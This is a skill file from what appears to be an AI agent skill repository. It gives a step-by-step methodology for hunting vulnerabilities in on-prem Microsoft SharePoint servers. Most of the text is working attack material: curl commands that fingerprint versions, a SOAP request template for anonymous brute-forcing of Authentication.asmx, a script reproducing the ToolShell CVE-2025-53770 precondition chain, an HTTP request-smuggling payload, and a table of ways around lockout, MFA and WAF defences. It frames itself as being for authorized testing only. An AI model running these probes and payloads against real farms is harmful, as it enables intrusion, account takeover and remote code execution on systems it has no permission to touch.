[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P68EFF34MKQM5C2KWVG22K":3,"skill-same:01M6P68EFF34MKQM5C2KWVG22K":69},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":21,"commitSha":50,"skillDirectory":51,"forksCount":13,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":54,"install":55,"resources":68},"01M6P68EFF34MKQM5C2KWVG22K","hunt-sharepoint",null,"Hunt Microsoft SharePoint Server (2013\u002F2016\u002F2019\u002FSubscription Edition) on-prem farms","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-sharepoint\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"hunt sharepoint","sharepoint","hunt","main","for","relevant","helper","offensive","scripts","scope","commands","testing","community","engagement","only","Tools","server","license","testing tools","security","2026-11-10 10:12:30",false,"---\nname: hunt-sharepoint\ndescription: Hunt Microsoft SharePoint Server (2013\u002F2016\u002F2019\u002FSubscription Edition)\n  on-prem farms\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: github, authorized-engagement\nreport_count: 1\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## Crown Jewel Targets\n\nSharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty \u002F red-team work. Three forces converge:\n\n1. **End-of-life unpatched code paths.** SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build `15.0.5545.1000` \u002F KB5002381). Every SharePoint CVE published after that date is **permanently unpatched** on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.\n2. **CVE-2025-53770 \u002F 53771 \"ToolShell\"** — July 2025 emergency-out-of-band patch chain for SPE \u002F SP2019 \u002F SP2016. The vulnerable code path (anonymous `\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit` + anonymous `__REQUESTDIGEST` + unencrypted ViewState) is present in **SP2013 too** and will never receive a fix.\n3. **Custom branded login pages forget legacy SOAP login.** `\u002F_vti_bin\u002FAuthentication.asmx` with the `Login` SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.\n\n**Highest-value SharePoint targets:**\n\n- **SP2013 farms still on the public internet** — every CVE since April 2023 is unpatched. Critical-severity findings.\n- **Dealer \u002F partner \u002F supplier portals** built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.\n- **SharePoint farms with anonymous Forms-auth zones** — Authentication.asmx becomes anonymously brute-forceable.\n- **SharePoint inside corporate AD parent forests** — NTLM Type-2 leak (see `hunt-ntlm-info`) discloses the parent forest membership.\n- **Telerik-integrated SharePoint installations** — additional deserialization sinks on top of SP's own.\n\n**Asset types that pay most:** internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.\n\n---\n\n## Attack Surface Signals\n\n**Response-header fingerprints (any one is sufficient — usually multiple co-occur):**\n```\nSPRequestGuid: \u003CGUID>                           (always — anonymous and authenticated)\nX-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)\nX-SharePointHealthScore: 0                      (SharePoint specific)\nSPIisLatency: \u003Cms>                              (SharePoint internal timing)\nSPRequestDuration: \u003Cms>                         (SharePoint request duration)\nMicrosoftSharePointTeamServices: 15.0.0.0      (often stripped by ELB — but if present, exact version)\nX-Forms_Based_Auth_Required: \u003Clogin URL>        (Forms-auth zone indicator)\nX-Forms_Based_Auth_Return_Url: \u003Creturn URL>     (Forms-auth zone indicator)\nX-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)\nDAV: 1, 2                                       (WebDAV verbs supported)\nSet-Cookie: ASP.NET_SessionId=...               (always — IIS session)\nSet-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)\nSet-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)\n```\n\n**URL \u002F path fingerprints:**\n```\n\u002F_layouts\u002F15\u002F                  (SP2013+ layouts root — SP2010 used \u002F_layouts\u002F without the 15)\n\u002F_layouts\u002F14\u002F                  (legacy SP2010 — almost EoL since 2020-10-13)\n\u002F_layouts\u002F16\u002F                  (some SP2019 \u002F SPE)\n\u002F_vti_bin\u002F                     (FrontPage-RPC + SOAP services)\n\u002F_vti_pvt\u002F                     (FrontPage-RPC config — usually 403)\n\u002F_vti_inf.html                 (almost always anonymous; contains FPVersion banner)\n\u002F_api\u002F                         (modern REST API)\n\u002F_api\u002F$metadata                (OData metadata — often anonymous + large)\n\u002F_api\u002Fcontextinfo              (FormDigest issuer — POST only)\n\u002F_catalogs\u002F                    (site catalogs: masterpage, wp, lt, theme, solutions)\n\u002F_catalogs\u002Fusers\u002Fsimple.aspx   (user list — usually 403)\n\u002F_layouts\u002F15\u002Fstart.aspx        (anonymous landing — leaks version)\n\u002F_layouts\u002F15\u002FToolPane.aspx     (web part editor — ToolShell sink)\n\u002F_layouts\u002F15\u002FPicker.aspx       (people\u002Flist picker — SafeControl recon)\n\u002F_layouts\u002F15\u002Fdownload.aspx     (SP-internal file resolver — NOT outbound SSRF)\n\u002F_layouts\u002F15\u002FAuthenticate.aspx (forms-auth redirector)\n\u002F_layouts\u002F15\u002FSignOut.aspx      (logout)\n\u002F_layouts\u002F15\u002Ferror.aspx        (error page — anonymous)\n\u002F_layouts\u002F15\u002FAccessDenied.aspx (denied page — anonymous)\n\u002F_layouts\u002F15\u002Fscriptresx.ashx?culture=en-us&name=core    (resource bundle leak)\n\u002F_layouts\u002F15\u002F\u003CCustomer>\u002F       (custom-branding modules — see Methodology step 8)\n\u002F_vti_bin\u002FAuthentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)\n\u002F_vti_bin\u002FSharedAccess.asmx    (often anon-readable)\n\u002F_vti_bin\u002Flists.asmx           (auth-required on hardened farms)\n\u002F_vti_bin\u002Fsites.asmx           (auth-required on hardened farms)\n\u002F_vti_bin\u002Fsts\u002F                 (Security Token Service — usually 302 to error)\n\u002Fsites\u002F\u003Cname>\u002F                 (site collections)\n\u002Fpersonal\u002F\u003Cuser>\u002F              (MySite \u002F OneDrive-for-Business)\n```\n\n**Body signals (in HTML responses):**\n```\n\u003Cmeta name=\"GENERATOR\" content=\"Microsoft SharePoint\" \u002F>\nRegisterSod(\"...\",\"\u002F_layouts\u002F15\u002F...\");                    (Script-on-demand registration)\nvar g_initUrl='';                                          (start.aspx MDS state)\n__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)\n__VIEWSTATEENCRYPTED=\"\"                                    (Sign-only ViewState — see hunt-aspnet)\n\"LibraryVersion\":\"15.0.X.XXXX\"                             (in _api\u002Fcontextinfo response)\nVersion:15, webPermMasks:{High:0,Low:                      (in start.aspx body)\nHelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)\n```\n\n**Tech-stack signals:**\n- `Server: Microsoft-IIS\u002F10.0` + paths starting with `\u002F_layouts\u002F15\u002F` → SharePoint 2013\u002F2016\u002F2019\u002FSE\n- AWS ELB \u002F ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)\n- `WWW-Authenticate: NTLM` on `\u002F_api\u002Fweb\u002FCurrentUser` → dual-auth (Forms + NTLM); use `hunt-ntlm-info` for AD-topology disclosure\n- `*.test.\u003Ccustomer>.tld` → test\u002Fstaging mirror of production SharePoint; data often mirrored from prod\n\n---\n\n## Step-by-Step Hunting Methodology\n\n1. **Fingerprint the SharePoint version.** Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.\n\n   ```bash\n   # Method 1: _vti_inf.html (always anonymous, always present)\n   curl -sk \"https:\u002F\u002Ftarget.example\u002F_vti_inf.html\"\n   # → FPVersion=\"15.00.0.000\" (15.x = SP2013, 16.x = SP2016\u002F2019\u002FSE)\n\n   # Method 2: _api\u002Fcontextinfo POST (anonymous on most farms)\n   curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_api\u002Fcontextinfo\" \\\n     -H \"Accept: application\u002Fjson;odata=verbose\" \\\n     | jq -r '.d.GetContextWebInformation.LibraryVersion'\n   # → \"15.0.5545.1000\" (full build number)\n\n   # Method 3: \u002F_layouts\u002F15\u002Fstart.aspx body\n   curl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002Fstart.aspx\" \\\n     | grep -oE \"15\\.[0-9]+\\.[0-9]+\\.[0-9]+|16\\.[0-9]+\\.[0-9]+\\.[0-9]+\"\n   ```\n\n   **Map to CVE matrix:**\n\n   | Build | Edition | Status | Notable unpatched-after-EoL CVEs |\n   |---|---|---|---|\n   | `15.0.5545.1000` | SP2013 final CU | **EoL 2023-04-11** | CVE-2023-29357, CVE-2023-33160\u002F33157\u002F36941, CVE-2024-21318\u002F30043\u002F38023\u002F38024\u002F38094, CVE-2025-53770\u002F53771, CVE-2025-29794 |\n   | `16.0.10416.x` | SP2016 | EoL 2026-07-14 | depends on patch level |\n   | `16.0.10417.x+` | SP2019 \u002F SE | active | check Microsoft's monthly Patch Tuesday |\n\n2. **Anonymous-endpoint matrix probe.** Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.\n\n   ```\n   \u002F_vti_inf.html                                          → version disclosure\n   \u002F_layouts\u002F15\u002Fstart.aspx                                 → version disclosure + session minting\n   \u002F_layouts\u002F15\u002Fblank.htm                                  → benign anchor for smuggling probes\n   \u002F_layouts\u002F15\u002Ferror.aspx                                 → request-validator behaviour probe\n   \u002F_layouts\u002F15\u002FAuthenticate.aspx?Source=                  → redirect-chain behaviour\n   \u002F_layouts\u002F15\u002FAccessDenied.aspx?Source=                  → redirect-chain behaviour\n   \u002F_layouts\u002F15\u002FSignOut.aspx                               → logout — anonymous OK\n   \u002F_layouts\u002F15\u002FcloseConnection.aspx                       → anonymous OK\n   \u002F_layouts\u002F15\u002Fscriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings\n   \u002F_layouts\u002F15\u002Fscriptresx.ashx?culture=en-us&name=core    → 277KB localised strings\n   \u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)\n   \u002F_layouts\u002F15\u002FPicker.aspx                                → SafeControl recon (see step 6)\n   \u002F_layouts\u002F15\u002F\u003CCustomerName>\u002Fpages\u002Flogin\u002Fcustomlogin.aspx    → custom Forms login (replace `\u003CCustomerName>` with target's customer name)\n   \u002F_vti_bin\u002FAuthentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)\n   \u002F_vti_bin\u002FAuthentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops\n   \u002F_vti_bin\u002FSharedAccess.asmx                             → often anonymous\n   \u002F_vti_bin\u002Fspsdisco.aspx                                 → SP service discovery\n   \u002F_api\u002Fcontextinfo (POST)                                → anonymous FormDigest mint (HIGH)\n   \u002F_api\u002F$metadata                                         → 381KB API surface enumeration\n   \u002F_api\u002FSearch                                            → search service descriptor\n   \u002F_api\u002Fweb\u002FCurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)\n   ```\n\n3. **Legacy SOAP login bypass via Authentication.asmx.** Cross-reference `hunt-auth-bypass` Legacy-Protocol Matrix. The standard probe:\n\n   ```bash\n   # First: confirm Mode = Forms (else this attack vector is N\u002FA)\n   curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_vti_bin\u002FAuthentication.asmx\" \\\n     -H \"Content-Type: text\u002Fxml; charset=utf-8\" \\\n     -H \"SOAPAction: http:\u002F\u002Fschemas.microsoft.com\u002Fsharepoint\u002Fsoap\u002FMode\" \\\n     -d '\u003C?xml version=\"1.0\"?>\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\u003Csoap:Body>\u003CMode xmlns=\"http:\u002F\u002Fschemas.microsoft.com\u002Fsharepoint\u002Fsoap\u002F\" \u002F>\u003C\u002Fsoap:Body>\u003C\u002Fsoap:Envelope>'\n   # → \u003CModeResult>Forms\u003C\u002FModeResult>  ← target is exploitable\n   # → \u003CModeResult>Windows\u003C\u002FModeResult>  ← target uses Windows auth only; this vector N\u002FA\n\n   # Then: confirm no rate limit \u002F no lockout (synthetic non-existent users ONLY)\n   # Send 10 bursts at \"burst-test-synthetic-zzz\" with distinct wrong passwords\n   # If all 10 return 200 \u002F 431 bytes \u002F uniform timing → confirmed unlimited brute-force surface\n   ```\n\n   **Severity:** Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the *unbounded credential validation* is the bug, not \"I cracked X credential.\"\n\n4. **ToolShell precondition chain probe** (CVE-2025-53770 class). Three sub-requests:\n\n   ```bash\n   # Sub-step a: anonymous GET on ToolPane.aspx\n   curl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit\"\n   # Body should contain: __REQUESTDIGEST=\"0x...,...\"  AND  __VIEWSTATEENCRYPTED=\"\"\n   # If both: precondition stack is anonymous-reachable.\n\n   # Sub-step b: anonymous POST to \u002F_api\u002Fcontextinfo\n   curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_api\u002Fcontextinfo\" \\\n     -H \"Accept: application\u002Fjson;odata=verbose\" \\\n     | jq -r '.d.GetContextWebInformation.FormDigestValue'\n   # Should return a valid digest with 1800s validity.\n\n   # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest\n   curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit\" \\\n     -H \"X-RequestDigest: \u003Cdigest from step b>\" \\\n     --data \"MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none\"\n   # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.\n   ```\n\n   **Severity:** Critical on EoL SP2013 (no patch will ever ship). High on SP2016\u002F2019\u002FSE if `__VIEWSTATEENCRYPTED` is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).\n\n   **IMPORTANT:** Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The `\u003CmachineKey>` (ValidationKey\u002FDecryptionKey) is then DUMPED by that web shell and used to forge signed `__VIEWSTATE` for persistent\u002Funauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.\n\n5. **NTLM Type-2 AD topology disclosure.** Cross-reference `hunt-ntlm-info` for full methodology. Quick check:\n\n   ```bash\n   # Use Burp send_http1_request with keep-alive, or Python raw socket\n   # Anonymous Type-1 with NetBIOS-info request flag:\n   #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==\n   # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name\n   ```\n\n   **Severity:** Medium when chained with internet exposure + default `WIN-XXXXXXXXXXX` hostname; Informational otherwise.\n\n6. **SafeControl enumeration via Picker.aspx.** Picker.aspx differentiates two error states by class existence:\n   - Type EXISTS but not whitelisted: `\"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site.\"`\n   - Type DOES NOT exist: `\"Could not load type '\u003CClass>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'.\"`\n\n   Feed a wordlist of `Microsoft.SharePoint.*.WebControls.*` and `Microsoft.SharePoint.WebPartPages.*` types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.\n\n   ```bash\n   for cls in \\\n     \"Microsoft.SharePoint.WebControls.PeopleEditor\" \\\n     \"Microsoft.SharePoint.WebControls.ItemPicker\" \\\n     \"Microsoft.SharePoint.WebPartPages.DataFormWebPart\" \\\n     ; do\n     curl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FPicker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' \"$cls\")&typeName=System.String\" \\\n       | grep -oE \"\u003Ctitle>[^\u003C]+\u003C\u002Ftitle>\"\n   done\n   ```\n\n7. **`download.aspx` is NOT outbound SSRF — recognize and don't waste time.** SP's `\u002F_layouts\u002F15\u002Fdownload.aspx?SourceUrl=` is an **SP-internal path resolver**, not a generic URL fetcher. Behaviours:\n   - External URL (`http:\u002F\u002Fevil.example.com\u002Fx`) → 500 with `\"The Web application at \u003CURL> could not be found\"` — server tried to resolve as an SP web app, didn't fetch.\n   - Same-origin file URL → 500 with `\"\u003Cnativehr>0x81070211\u003C\u002Fnativehr>...Cannot open file '\u003Cpath>'\"` — server tried SPFile.OpenBinary, file not found.\n   - Files matching the extension blocklist (`.ashx`, `.asmx`, `.svc`, `.config`) → 500 with `\"file blocked from this Web site by the server administrators\"` regardless of whether the file exists.\n   - `file:\u002F\u002F`, UNC paths, `gopher:\u002F\u002F`, etc. → 500 with `\"Value does not fall within the expected range\"` — URL-scheme validator rejects.\n\n   **The error-message URL echo is NOT confirmation of SSRF.** Confirm via Burp Collaborator OOB before claiming. (Cross-reference `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.\n\n   The extension blocklist also looks like a \"file-existence oracle\" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.\n\n8. **Custom-branding module enumeration.** Customer-customised SP installations almost always have a `\u002F_layouts\u002F15\u002F\u003CCustomerName>\u002F` directory tree. Find the name from the login URL (e.g. `\u002F_layouts\u002F15\u002F\u003CCustomerName>\u002Fpages\u002Flogin\u002Fcustomlogin.aspx` → customer name is `\u003CCustomerName>`). Then probe:\n\n   ```bash\n   for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do\n     curl -sk -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\\n\" \\\n       \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FCustomerName\u002F$sub\u002F\"\n     # 301\u002F302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid\n   done\n   ```\n\n   JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper `Referer` header (some are referer-gated).\n\n9. **Search service probe.** `\u002F_api\u002FSearch` returns a small JSON descriptor anonymously. `\u002F_api\u002Fsearch\u002Fquery?querytext='X'` returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.\n\n10. **Authenticated post-login surfaces** (if you have valid credentials):\n    - `\u002F_api\u002Fweb\u002FLists` — enumerate lists\n    - `\u002F_api\u002Fweb\u002FSiteUsers` — enumerate users\n    - `\u002F_api\u002Fweb\u002Fgetfolderbyserverrelativeurl('\u002FShared Documents')\u002FFiles` — file enumeration\n    - `\u002F_layouts\u002F15\u002Fpeople.aspx` — user listing\n    - Custom customer-branded modules — check for IDOR, business logic\n    - Workflow Services (`\u002F_api\u002FSP.WorkflowServices.*`)\n\n---\n\n## Payload & Detection Patterns\n\n**Authentication.asmx Login (the canonical brute-force endpoint):**\n```xml\nPOST \u002F_vti_bin\u002FAuthentication.asmx HTTP\u002F1.1\nHost: target.example\nContent-Type: text\u002Fxml; charset=utf-8\nSOAPAction: http:\u002F\u002Fschemas.microsoft.com\u002Fsharepoint\u002Fsoap\u002FLogin\nContent-Length: 376\n\n\u003C?xml version=\"1.0\" encoding=\"utf-8\"?>\n\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoap:Body>\n    \u003CLogin xmlns=\"http:\u002F\u002Fschemas.microsoft.com\u002Fsharepoint\u002Fsoap\u002F\">\n      \u003Cusername>USERNAME\u003C\u002Fusername>\n      \u003Cpassword>PASSWORD\u003C\u002Fpassword>\n    \u003C\u002FLogin>\n  \u003C\u002Fsoap:Body>\n\u003C\u002Fsoap:Envelope>\n```\nResponse codes:\n- `\u003CErrorCode>NoError\u003C\u002FErrorCode>` → auth success; `\u003CCookieName>FedAuth\u003C\u002FCookieName>` and `\u003CTimeoutSeconds>...\u003C\u002FTimeoutSeconds>` follow\n- `\u003CErrorCode>PasswordNotMatch\u003C\u002FErrorCode>` → auth fail (uniform for non-existent users too — no enum leak via error string)\n- 500 + `\u003Cfaultstring>Value cannot be null. Parameter name: userName\u003C\u002Ffaultstring>` → empty username\n\n**ToolShell precondition reproduction:**\n```bash\n# Step 1: anon GET ToolPane.aspx\nTP=$(curl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit\")\necho \"$TP\" | grep -oE '__VIEWSTATEENCRYPTED\" id=\"__VIEWSTATEENCRYPTED\" value=\"[^\"]*\"'\n# If value=\"\" → precondition\n\n# Step 2: anon FormDigest\nDIGEST=$(curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_api\u002Fcontextinfo\" \\\n  -H \"Accept: application\u002Fjson;odata=verbose\" \\\n  | jq -r '.d.GetContextWebInformation.FormDigestValue')\necho \"Digest: ${DIGEST:0:40}...\"\n\n# Step 3: anon POST ToolPane with digest\ncurl -sk -X POST -H \"X-RequestDigest: $DIGEST\" \\\n  --data \"MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none\" \\\n  \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit\" \\\n  -w \"\\ncode=%{http_code} size=%{size_download}\\n\"\n```\n\n**HTTP TE.CL smuggling on AWS ELB + SP IIS back-end** (consistent on SP farms behind AWS ELB):\n```\nPOST \u002F_layouts\u002F15\u002Fblank.htm HTTP\u002F1.1\nHost: target.example\nContent-Length: 4\nTransfer-Encoding: chunked\n\n5c\nGPOST \u002F404 HTTP\u002F1.1\nHost: x\nContent-Length: 15\n\nx=1\n0\n\n```\nExpected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (`Transfer-Encoding : chunked`, `transfer-encoding: chunked`, trailing-space, mixed-case) produce a similar ~6 s hang.\n\n**Picker.aspx SafeControl recon:**\n```bash\ncurl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FPicker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String\" \\\n  | grep -oE \"\u003Ctitle>[^\u003C]+\u003C\u002Ftitle>\"\n# \"Only PickerDialog types...\" = exists, not whitelisted\n# \"Could not load type...\"    = does not exist\n```\n\n---\n\n## Common Root Causes\n\n1. **`\u002F_vti_bin\u002FAuthentication.asmx` left enabled on the public-zone IIS binding.** SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.\n\n2. **`viewStateEncryption=\"Auto\"` on layouts pages.** SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have `__VIEWSTATEENCRYPTED=\"\"` — exploitable if machineKey leaks.\n\n3. **`\u002F_api\u002Fcontextinfo` POST accessible anonymously.** SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.\n\n4. **NTLM enabled on public-zone IIS binding.** Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.\n\n5. **SP2013 farms past EoL still internet-exposed.** Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (system-integrator inside corporate-parent AD, SI-managed dealer portals).\n\n6. **`\u003CSafeControl>` whitelist in web.config trusted as the only gate.** Picker.aspx enforces an `instanceof PickerDialog` check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.\n\n7. **AWS ELB + SP IIS without explicit Transfer-Encoding normalization.** Default ELB forwards `Transfer-Encoding` to back-end IIS; IIS interprets `Content-Length` when both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.\n\n8. **Default Windows-installer hostname (`WIN-XXXXXXXXXXX`) never renamed.** Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.\n\n9. **Custom-branding module (`\u002F_layouts\u002F15\u002F\u003CCustomer>\u002F`) JS bundles loaded with `?v=YYYYMMDD` query strings.** The query string reveals last-modified date — useful for \"this app is actively maintained\" vs \"this app is abandoned\" determination.\n\n10. **Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE.** Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.\n\n---\n\n## Bypass Techniques\n\n| Defense | Bypass \u002F Recon Strategy |\n|---|---|\n| Branded `customlogin.aspx` with lockout \u002F CAPTCHA \u002F MFA | `\u002F_vti_bin\u002FAuthentication.asmx` legacy SOAP — none of those protections apply |\n| `WWW-Authenticate: NTLM` requires authenticated callers | Default IIS `extendedProtection=None` lets you elicit the Type-2 challenge anonymously — see `hunt-ntlm-info` |\n| `MicrosoftSharePointTeamServices` header stripped at ELB | Body of `\u002F_layouts\u002F15\u002Fstart.aspx` leaks version anyway; also `\u002F_api\u002Fcontextinfo`'s `LibraryVersion` |\n| `\u002F_vti_bin\u002Flists.asmx` 403 (SharedAccess.asmx \u002F Authentication.asmx still open) | Different services have different ACLs; enumerate all asmx separately |\n| `\u002F_api\u002Fweb\u002FCurrentUser` 401 with stack-trace JSON | Stack traces leak even on auth-deny responses; combine with version disclosure |\n| Anonymous `__REQUESTDIGEST` issued (ToolShell precondition) | Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation |\n| Custom error pages set | Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see `hunt-aspnet`) |\n| WAF blocks `\u003C` in query | Move payload to Cookie \u002F Referer \u002F SOAP body — request validator doesn't reach those contexts |\n| `Microsoft.SharePoint.WebPartPages.DataFormWebPart` blocked via SafeControl patch | Enumerate SafeControl list; find a subclass that bypasses the inheritance gate |\n| HTTP\u002F2 H2.CL smuggling | AWS ALBs often don't advertise `h2` ALPN — close that family early via `openssl s_client -alpn h2,http\u002F1.1` |\n| Authenticate.aspx wraps `Source=` in ReturnUrl | Test post-auth behavior with valid creds; pre-auth chain wraps everything safely |\n\n---\n\n## Gate 0 Validation\n\nBefore writing the report:\n\n1. **What can the attacker DO right now?**\n   - Authentication.asmx anonymous + no rate limit → **Critical** (unbounded credential validation; password spray + UPN format from NTLM = end-to-end ATO path)\n   - Full ToolShell precondition chain (anon GET + anon FormDigest + anon POST + unencrypted VS) + EoL SP2013 → **Critical** (RCE via well-documented public exploit chain, no patch will ship)\n   - NTLM Type-2 AD topology disclosure + default-Windows hostname → **Medium**\n   - SP2013 EoL alone → **Medium-Low** (compliance \u002F hygiene; bug-bounty programs vary — some accept, many reject)\n   - `download.aspx` URL echo without confirmed Collaborator callback → **NOT SSRF — retract**\n\n2. **Have you reproduced the full chain to attacker-attainable impact?**\n   - For Authentication.asmx: 10-burst test with uniform timing (proves no rate limit) is sufficient. Don't actually crack a credential.\n   - For ToolShell: precondition chain (steps a+b+c) is sufficient. Don't deliver a malicious payload.\n   - For NTLM: AV-pair decode showing AD-topology fields is sufficient.\n\n3. **Can you reproduce in \u003C10 minutes from a clean shell?**\n   - Authentication.asmx: 2 curl commands.\n   - ToolShell precondition: 3 curl commands.\n   - NTLM Type-2: 1 Python snippet (the AV-pair 